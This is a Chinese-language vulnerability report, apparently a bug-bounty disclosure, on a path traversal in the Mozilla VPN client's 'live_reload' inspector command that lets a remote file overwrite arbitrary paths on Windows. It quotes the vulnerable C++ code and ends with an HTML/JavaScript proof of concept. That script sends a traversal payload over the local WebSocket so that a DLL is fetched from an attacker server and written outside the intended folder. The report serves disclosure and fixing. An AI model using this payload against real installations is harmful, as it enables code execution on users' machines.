概述
报告发现了 Mozilla VPN 客户端软件中导致远程代码执行 (RCE) 的路径遍历漏洞。
该漏洞存在于客户端检查器功能的“live_reload”命令中,当客户端处于启用“使用暂存服务器”的开发人员模式时,可以访问该命令。
InspectorHotreloader::fetchAndAnnounce()
函数中的易受攻击的代码在将远程文件下载到临时文件夹时无法正确清理文件路径,从而允许通过 Windows 文件路径中的“..” 进行路径遍历。
这使攻击者能够将任意文件写入文件系统上的任何位置,并利用这些文件来实现代码执行。
漏洞详情
易受攻击的代码InspectorHotreloader::fetchAndAnnounce()
QObject::connect(
request, &NetworkRequest::requestCompleted,
[this, path, dummy_task](const QByteArray& data) {
dummy_task->deleteLater();
auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
auto temp_file = new QFile(temp_path);
temp_file->open(QIODevice::WriteOnly);
if (!temp_file->write(data)) {
logger.warning() << "Unable to write to file:"
<< temp_file->fileName();
return;
}
if (!temp_file->flush()) {
logger.warning() << "Unable to flush to file:"
<< temp_file->fileName();
return;
}
temp_file->close();
QFileInfo info(temp_path);
annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
});
“live_reload”命令可以与远程文件一起使用,使用该命令时,远程文件将下载到 tmp 文件夹。但问题是这里存在一个路径遍历,这就意味着我们可以覆盖文件系统上的任何文件(基于 Windows 系统测试)。
漏洞复现
1 .下载 Mozilla VPN:https://www.mozilla.org/en-US/products/vpn/download/
-
打开开发者模式
- 打开帮助菜单,快速连续点击“帮助”标题 6 次
- 在开发者选项中,勾选“使用测试服务器”
- 完全关闭并重新打开
-
保存以下 HTML 并打开(修改为你的攻击服务器):
<script>
var ws = new WebSocket('ws://localhost:8765/');
var attacker_server = "███████" // needs to be HTTP, no HTTPS
payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`
ws.onopen = function() {
ws.send(payload);
};
ws.onmessage = function(event) {
document.getElementById("data").innerText += event.data + "\n";
};
</script>
<h1>Data retrieved:</h1>
<div id="data"></div>
注⚠️:文件被写入C:\Users\user\AppData\Local\Mozilla
,而不是C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload
。